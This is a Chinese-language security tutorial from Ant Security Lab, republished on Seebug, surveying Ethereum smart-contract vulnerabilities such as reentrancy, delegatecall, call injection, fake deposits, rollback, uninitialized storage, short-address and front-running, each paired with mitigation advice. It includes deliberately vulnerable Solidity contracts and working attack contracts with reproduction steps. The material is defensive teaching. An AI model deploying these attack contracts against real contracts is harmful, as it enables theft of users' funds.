作者: 天宸@蚂蚁安全实验室
原文链接:https://mp.weixin.qq.com/s/hi2xigJFtHXbscATbXsAng
西安电子科技大学教授裴庆祺谈到,“'智能合约'作为构建去中心化项目与去中心化组织不可或缺的基石,自其诞生之时便在各式各样的分布式场景中扮演着重要的角色。随着“智能合约”的重要性和普及度不断提高,合约面临的安全威胁也在与日俱增。
近年来,因为“智能合约”漏洞导致的财产丢失、隐私泄漏等问题层出不穷,合约漏洞分析与合约安全防护也逐渐成为当前区块链领域至关重要的技术之一。蚂蚁安全实验室这篇分享将从智能合约基本概念及以太坊智能合约运行机制出发,全方位地阐释了合约中的安全隐患,详述了近年来出现的各种智能合约漏洞原理,通过复现漏洞场景及分析漏洞合约solidity代码分析漏洞成因,结合详细的攻击步骤直观地表述了攻击方式及该类漏洞所带来的损失,并针对攻击方式给出不同情况下的合理规避建议。
本文上下两篇内容基本涵盖了以太坊全部已提出或已出现的合约漏洞,并均给出了可行的规避建议。阅读本篇文章,不论是对智能合约的编写或维护者,还是对深入区块链智能合约领域的学者及技术爱好者,都能够获益匪浅。”
安全威胁通常是由漏洞引发的多种漏洞类型。那么,什么是漏洞?国家信息安全漏洞库提出:漏洞是计算机信息系统在需求、设计、实现、配置、运行等过程中,有意或无意产生的缺陷。这些缺陷以不同的形式存在于计算机信息系统的各个层次和环节之中,一旦被恶意主体所利用,就会对计算机信息系统的安全造成一定损害,从而影响系统的正常运行。
由此可见,漏洞更多的是指一种安全缺陷,比如整数溢出是一种安全缺陷,随机数种子选取不当是一种安全缺陷,易遭受某某攻击也是一种安全缺陷。
为保证大家阅读的体验,本文将各式各样的安全缺陷统一为某某漏洞
早在 1996 年,Nick Szabo 就首次描述了智能合约的概念。当时,他对智能合约定义是:智能合约是一组以数字形式指定的承诺,包括各方在其中履行这些承诺的协议。(A smart contract is a set of promises, specified in digital form, including protocols within which the parties perform on these promises.)
在加密货币领域,币安将智能合约定义为在区块链上运行的应用或程序。通常情况下,它们为一组具有特定规则的数字化协议,且该协议能够被强制执行。这些规则由计算机源代码预先定义,所有网络节点会复制和执行这些计算机源码。
智能合约的运行方式由下图所示。本文主要讨论以太坊上的智能合约漏洞,所以用以太坊为例说明运行方式。智能合约运行在以太坊节点上,节点上配有以太坊虚拟机运行智能合约。合约由一笔交易触发,由虚拟机负责执行,执行完毕之后修改以太坊的世界状态,如账户余额,交易以及输入和输出会写入区块中,不可抵赖、不可篡改。
2015年7月,以太坊团队正式发布以太坊网络Frontier 阶段,开发者开始在以太坊上编写智能合约和去中心化应用。2016年1月,以太坊智能合约开启区块链应用之路。1月10日至3月13日以太坊单位价格从0.97美元涨至14.32美元,两个月左右的时间翻了将近15倍,并一路上涨,直到2016年6月,以太坊上的一个去中心化自治组织 The DAO 被黑客攻击,损失了五千万美元,以太币价格从19.42美元跌至11.32美元,跌幅41%。
The DAO 攻击让黑客们找到了财富密码,他们意识到智能合约是一个巨大的宝库。随后,黑客们便开启了挖洞的狂欢,他们满载着以太币而归,也给我们留下了精彩的技术和思维的盛宴。
以太坊诞生的第一年内,一共部署了约 5万个智能合约。今天,以太坊上智能合约的数量已经超过 393万个。在所有的公链平台中,以太坊是起步最早,生态最丰富,最具活力的智能合约运行平台。如今以太坊已经承载了数百万合约的运行,是名副其实的百万合约之母。
以太坊平台支持多种合约语言,如 Solidity 和 Vyper,其中 Solidity 的使用最为广泛,是本文主要的分析对象。我们大致把漏洞分为两大类:以太坊特性导致的新颖的漏洞类型,和传统攻击手法在以太坊上旧貌换新颜的传统漏洞类型 。为了更好的讲解漏洞,我们对主要漏洞做了复现,同时也鼓励大家可以根据代码和步骤实战操作一二。
漏洞介绍
重入漏洞是指利用 fallback 函数特性,递归调用含有漏洞的转账合约,直到 gas 耗尽,或递归条件终止,攻击者就可以得到远远超出预存的代币。
fallback函数是合约里的特殊无名函数,一个合约有且仅有一个 fallback 函数。目前,fallback 有以下两种方式声明,其中这两种方式都不需要 function关键字。0.4.x 之前的版本对 fallback 的可见性没有要求,0.5.x 版本上要求 fallback 必须是 external。fallback 函数可以是虚函数,可以被重写,也可以有修饰符。
fallback () external [payable]fallback (bytes calldata _input) external [payable] returns (bytes memory _output)
漏洞示例
pragma solidity ^0.4.10; contract SevenToken { address owner; mapping (address => uint256) balances; // 记录每个打币者存入的资产情况 event withdrawLog(address, uint256); function SevenToken() { owner = msg.sender; } function deposit() payable { balances[msg.sender] += msg.value; } function withdraw(address to, uint256 amount) { require(balances[msg.sender] > amount); require(this.balance > amount); withdrawLog(to, amount); // 打印日志,方便观察 reentrancy to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部 balances[msg.sender] -= amount; // 这一步骤应该在 send token 之前 } function balanceOf() returns (uint256) { return balances[msg.sender]; } function balanceOf(address addr) returns (uint256) { return balances[addr]; } }
攻击步骤
攻击代码如下:
contract Attack { address owner; address victim; modifier ownerOnly { require(owner == msg.sender); _; } function Attack() payable { owner = msg.sender; } // 设置已部署的 SevenToken 合约实例地址 function setVictim(address target) ownerOnly { victim = target; } function balanceOf() returns (uint256) {return this.balance;} // deposit Ether to SevenToken deployed function step1(uint256 amount) private ownerOnly { if (this.balance > amount) { victim.call.value(amount)(bytes4(keccak256("deposit()"))); } } // withdraw Ether from SevenToken deployed function step2(uint256 amount) private ownerOnly { victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount); } function () payable { if (msg.sender == victim) { victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value); } } }
操作步骤:
1.两个合约可以写在一个sol文件里,在remix Javascript VM环境下,编译--切换到run选项卡--deploy。
2.用account A deploy SevenToken合约。
3.用account A deposit 25 ether到Se-venToken合约。
4.用account B deploy Attack合约,在deploy的时候初始化转10 ether 到Attack合约。
5.用account B调用 setVictim。copy paste SevenToken合约的地址作为setVictim的参数。
6.如果想确认是否set成功可以调用getVictim查看结果。
7.用account B调用step1,先往SevenToken里存入一些代币。
8.用account B调用step2,提取代币,金额少于之前存的代币。
9.攻击成功,account B提取了SevenToken所有的代币,~~25 ether。
规避建议
为了避免重入,可以使用下面撰写的“检查-生效-交互”(Checks-Effects-Interactions)模式:
第一步,大多数函数会先做一些检查工作(例如谁调用了函数,参数是否在取值范围之内,它们是否发送了足够的以太币Ether ,用户是否具有token等等)。这些检查工作应该首先被完成。
第二步,如果所有检查都通过了,接下来进行更改合约状态变量的操作。
第三步,与其它合约的交互应该是任何函数的最后一步。
早期合约延迟了一些效果的产生,导致重入攻击。
请注意,对已知合约的调用反过来也可能导致对未知合约的调用,所以最好是一直保持使用这个模式编写代码。
require(balances[msg.sender] > amount); //检查 require(this.balance > amount); //检查 balances[msg.sender] -= amount; // 生效 to.call.value(amount)(); // 交互
特殊的,对于轻量的转账操作,推荐使用 send 方法,尽量避免使用 call 方法。无论使用哪种方法都需要检查返回值。
漏洞介绍
Solidity 语言有 2 中调用外部合约的方式:
· call 的执行上下文是外部合约的上下文
· delegatecall 的执行上下文是本地合约上下文
合约 A 以 call 方式调用外部合约 B 的 func() 函数,在外部合约 B 上下文执行完 func() 后继续返回 A 合约上下文继续执行;而当 A 以 delegatecall 方式调用时,相当于将外部合约 B 的 func() 代码复制过来(其函数中涉及的变量或函数都需要在本地存在)在 A 上下文空间中执行。
漏洞示例
Delegate 是一个普通合约,Delegation 是它的代理,响应外部的调用。
pragma solidity ^0.4.10; contract Delegate { address public owner; function Delegate(address _owner) { owner = _owner; } function setOwner() { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; function Delegation(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } function () { if (delegate.delegatecall(bytes4(keccak256("setOwner()")))) { this; } } }
这个攻击能成立的前提条件是入口方法是 public 的,代理合约之间的方法可以互相访问。
攻击步骤
1.account A部署Delegate。Delegate合约有构造函数,参数是合约所有者的地址。部署的时候指定account A地址。
2.account A部署Delegation。部署的时候指定Delegate合约的地址,表示代理的是Delegate合约。
3.此时验证两个合约的owner相同,都是account A的地址。
4.account B调用Delegation 的fallback函数,修改owner地址。
5.查看Delegation的owner地址,已经被修改成account B的地址。
规避建议
1.谨慎使用 delegatecall() 函数。将函数选择器所使用的函数id固定以锁定要调用的函数,避免使用 msg.data 作为函数参数。
2.明确函数可见性,默认情况下为public类型,为防止外部调用函数被内部调用应使用external。注意这里的函数是指使用 delegatecall 的函数,也就是示例中的fallback函数。
3.加强权限控制。敏感函数应设置onlyOwner等修饰器。用 onlyOwner修饰示例中被代理的函数 setOwner() 能够阻挡攻击。
漏洞介绍
call调用修改msg.sender值
通常情况下合约通过call来执行来相互调用执行,由于call在相互调用过程中内置变量 msg 会随着调用方的改变而改变,这就成为了一个安全隐患,在特定的应用场景下将引发安全问题。
漏洞示例
call注入引起的最根本的原因就是call在调用过程中,会将msg.sender的值转换为发起调用方的地址,能够绕过身份校验。下面的例子描述了call注入的攻击模型。
pragma solidity ^0.4.22; contract Victim { uint256 public balance = 1; function info(bytes4 data){ this.call(data); //this.call(bytes4(keccak256("secret()"))); //利用代码示意 } function secret() public{ require(this == msg.sender); // secret operations balance = 100; } }
攻击步骤
攻击合约:
contract Attack{ function callsecret(Victim vic){ vic.secret(); } function callattack(Victim vic){ vic.info(bytes4(keccak256("secret()"))); } }
攻击步骤:
1.account A部署Victim合约。观察 balance的值,为1。
2.account B部署Attack合约。
3.先调用Attack合约的callsecret函数,参数为Victim合约的地址。因为不满足require 条件,调用失败,观察balance的值为1。
4.再调用Attack合约的callattack函数,参数为Victim合约的地址。因为info函数里面使用了call函数调用secret函数,call函数会修改 msg.sender为调用者也就是Victim本身,所以能够满足require条件,调用成功,观察 balance的值为 100。攻击成功。
规避建议
1.禁止使用外部传入的参数作为call函数的参数。
2.尽量不要使用call函数传参数的设计方式。
漏洞介绍
在一些充值场景下,接收方没有正确的判断充值状态就为攻击者充值,而实际上攻击者并没有付出代币。这种问题称为假充值问题。这类问题的根因在于业务平台存在漏洞 -- 没有进行合理的验证。真实世界的案例可以查看此交易:
此交易回执的status是true,然而转账函数执行失败ERC-20 Token Transfer Error。
漏洞示例
以太坊代币交易回执中status字段是 0x1(true) 还是 0x0(false),取决于交易事务执行过程中是否抛出了异常(比如使用了 require/assert/revert/throw 等机制)。
当用户调用代币合约的transfer函数进行转账时,如果transfer函数正常运行未抛出异常,该交易的status即是0x1(true)。尽管函数return false。
function transfer(address _to, uint256 _value) public returns (bool) { if(_value <= balances[msg.sender] && _value > 0){ balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } else return false; }
某些代币合约的transfer函数对转账发起人(msg.sender)的余额检查用的是if判断方式,当balances[msg.sender] < _value时进入 else逻辑部分并return false,最终没有抛出异常,我们认为仅if/else这种温和的判断方式在 transfer这类敏感函数场景中是一种不严谨的编码方式。而大多数代币合约的transfer函数会采用require/assert方式。
function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; }
当不满足条件时会直接抛出异常,中断合约后续指令的执行,或者也可以使用EIP 20推荐的 if/else + revert/throw函数组合机制来显现抛出异常。
攻击示例
攻击者可以利用存在该缺陷的代币合约向中心化交易所、钱包等服务平台发起充值操作,如果交易所仅判断如TxReceipt Status是 success(即上文提的status 为 0x1(true)的情况) 就以为充币成功,就可能存在“假充值”漏洞。此漏洞参考[1]。
规避建议
除了判断交易事务success之外,还应二次判断充值钱包地址的balance是否准确的增加。
漏洞介绍
回滚攻击是一种根据合约运行结果的好坏决定是否回滚的攻击,如果运行结果不满足攻击者利益则攻击者使交易回滚。这种攻击常用于猜测彩票合约结果,攻击者先投注,然后监测开奖结果,如果不能中奖就回滚。反之则投注。
攻击者不花费任何代价,却达到稳赢的结果。
漏洞示例
contract Alice{ function random() internal returns (uint8){ return 11; } function guess(uint8 num) payable public returns (bool){ require(msg.value >= 1 ether); uint8 rand = random(); if(num > rand-3 && num < rand+3){ msg.sender.transfer(2 ether); } else{ return false; } } }
Alice是一个彩票合约,用户必须投入1 ether才可以参与猜奖。如果用户猜测的数在随机数加减3的范围内,则赢得2 ether,否则不中奖。
攻击示例
攻击者Bob就可以针对开奖逻辑发起回滚攻击。Bob先检查Alice合约的执行结果,如果不满足Bob的利益就触发回滚操作。攻击代码如下:
cocontract Bob{ function rollback(Alice alice, int8 num) public { uint256 balance1 = this.balance; bool isSucceed = address(alice).call.gas(10000).value(1 ether)(bytes4(keccak256("guess(int8)")), num); uint256 balance2 = this.balance; // 没有中奖则回滚 if(balance2 < balance1){ revert(); } }
规避建议
本问题是对以太坊可能面临的威胁的一种探讨,目前作者尚未发现真实案例,这个留作开放问题来探讨。
漏洞介绍
Solidity有自毁函数selfdestruct(),该函数可以对创建的合约进行自毁,并且可以将合约里的Ether转到自毁函数定义的地址中。
如果自毁函数的参数是一个合约地址,自毁函数不会调用参数地址的任何函数,包括fallback 函数,最终被销毁合约的Ether成功转到参数地址。如果此销毁特性被攻击者利用,就会发生安全问题。
漏洞示例
尚未发现利用此特性导致的真实攻击示例。但预测此漏洞更容易出现在使用this.balance作为判断依据的合约中,因为selfdestruct()转移的金额会加到this.balance中。
另一潜在威胁的场景是利用此漏洞预先发送Ether到尚未创建的合约地址上。等地址创建后,发送的Ether就存在于该地址上。这一场景暂时未导致安全问题。
规避建议
自毁漏洞发生的主要原因是目标合约对this.balance使用不当。建议使用自定义变量,即使有恶意Ether强行转入,也不会影响自定义变量的值。
漏洞介绍
在Solidity中,有storage和memory两种存储方式。storage变量是指永久存储在区块链中的变量;memory变量的存储是临时的,这些变量在外部调用结束后会被移除。
但是在一些低版本上,Solidity对复杂的数据类型,如array,struct在函数中作为局部变量是,会默认存储在storage当中。会产生安全漏洞。目前自 0.5.x版本已经强制开发者指定存储位置。
漏洞示例
以下代码unlocked存在slot0中registRecord存在 slot1 中。newRecord默认存在 storage 中,指向slot0.那么newRecord.name和 newRecord.addr分别指向slot0和slot1.
pragma solidity 0.4.26; contract Shadow { bool public unlocked = false; // slot0 struct Record{ bytes32 name; address addr; } mapping(address => Record) public registRecord; //slot1 event Log(address addr, bool msg); function regist(bytes32 _name, address _addr) public { Record newRecord; newRecord.name = _name; // slot0 newRecord.addr = _addr; // slot1 emit Log(msg.sender, unlocked); } }
攻击步骤
攻击者传入_name参数,值不为0,即可覆盖 unlocked的值,把unlocked置为1。
规避建议
使用高版本的编译器。从0.5.x以上,编译器就会强制开发者指定存储位置。把newRecord存储在memory 中,即可避免此类问题。
漏洞介绍
一般ERC-20 TOKEN标准的代币都会实现transfer方法,这个方法在ERC-20标签中的定义为:function transfer(address to, uint tokens) public returns (bool success);
第一参数是发送代币的目的地址,第二个参数是发送token的数量。
当我们调用transfer函数向某个地址发送N个ERC-20代币的时候,交易的input数据分为3个部分:
4 字节,是方法名的哈希:a9059cbb
32字节,放以太坊地址,目前以太坊地址是20个字节,高位补0
000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca
32字节,是需要传输的代币数量,这里是1*1018 GNT
0000000000000000000000000000000000000000000000000de0b6b3a7640000
所有这些加在一起就是交易数据:
a9059cbb000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca0000000000000000000000000000000000000000000000000de0b6b3a7640000
短地址攻击是指用ABI调用其他合约的时候,特意选取以00结尾的地址,传入地址参数的时候省略最后的00,导致EVM在解析数量参数时候对参数错误的补0,导致超额转出代币。
漏洞示例
以如下合约为例:
contract MyToken { mapping (address => uint) balances; event Transfer(address indexed _from, address indexed _to, uint256 _value); function MyToken() { balances[tx.origin] = 10000; } function sendCoin(address to, uint amount) returns(bool sufficient) { if (balances[msg.sender] < amount) return false; balances[msg.sender] -= amount; balances[to] += amount; Transfer(msg.sender, to, amount); return true; } function getBalance(address addr) constant returns(uint) { return balances[addr]; } }
攻击步骤
攻击的前提是:攻击者有一个00结尾的地址。这里调用sendCoin方法时,传入的参数如下:
0x90b98a11 00000000000000000000000062bec9abe373123b9b635b75608f94eb86441600 0000000000000000000000000000000000000000000000000000000000000002
这里的0x90b98a11是method的hash值,第二个是地址,第三个是amount参数。如果我们调用sendCoin方法的时候,传入地址:0x62bec9abe373123b9b635b75608f94eb86441600
把这个地址的“00”丢掉,即扔掉末尾的一个字节,参数就变成了:
0x90b98a11 00000000000000000000000062bec9abe373123b9b635b75608f94eb86441600 00000000000000000000000000000000000000000000000000000000000002 ^^ 缺失1个字节
这里EVM把amount的高位的一个字节的0填充到了address部分,这样使得amount向左移位了1个字节,即向左移位8。
这样,amount就成了2 << 8 = 512。
规避建议
在编写代码时,添加对地址长度的检查机制,即可有效防范短地址攻击。
assert(msg.data.length == right size);
因为函数自己知道接受几个参数,所以可以计算正确的 size。
阅读:
https://ericrafaloff.com/analyzing-the-erc20-short-address-attack/
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-55.md
漏洞介绍
简单来说,“提前交易”就是某人提前获取到交易者的具体交易信息(或者相关信息),抢在交易者完成操作之前,通过一系列手段(通常是危害交易者的手段,如提高报价)来抢在交易者前面完成交易。
漏洞示例
有个MathGame的合约,设置了一些 puzzle,如果有人回答正确就可以得到一定的奖励。
攻击步骤
有个用户成功解出了题目, 并发送答案到 MathGame 合约。攻击者一直在扫描交易池并且发现了答案,攻击者就提高了手续费,把答案发送出去。矿工因为攻击者付的手续费更多,优先打包了攻击者的交易。攻击者就窃取了他人的成果。
规避方法
合约编写者要充分考虑这种提前交易或者条件竞争的情景,在编写合约的时候事先想好应对措施。比如设置答题序号,并延迟发送奖励,比如延迟到次日发送奖励。先把收集到的答案缓存起来,如果有更早序号的正确答案的交易过来,就把当前答案的发送者用更早的答案的发送者替换掉。因为延迟到次日开奖,考虑到成本,攻击者不可能一直阻塞矿工打包更早答案的交易。
本文主要介绍了以太坊平台常见的漏洞类型。不排除还存在其他的威胁类型本文没有收录,欢迎大家随时反馈。
本系列后续的文章之下集也会在本周及时更新,欢迎关注。
1.https://www.chainnode.com/post/355956
3.https://paper.seebug.org/633/
4.https://paper.seebug.org/632/
5.https://eth.wiki/en/howto/smart-contract-safety
6.https://consensys.github.io/smart-contract-best-practices/
8.https://eprint.iacr.org/2016/1007.pdf
9.https://medium.com/cryptronics/ethereum-smart-contract-security-73b0ede73fa8
10.https://paper.seebug.org/624/
11.https://paper.seebug.org/615/
12.https://cloud.tencent.com/developer/article/1171294
13.https://paper.seebug.org/685/
14.https://www.freebuf.com/vuls/179173.html
15.https://www.kingoftheether.com/thrones/kingoftheether/index.html
16.https://www.mdeditor.tw/pl/2LVR
17.https://paper.seebug.org/607/
18.https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514
19.《区块链安全入门与实战》第3 章. 刘林炫. 北京. 机械工业出版社.
扫码关注蚂蚁安全实验室微信公众号,干货不断!
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1544/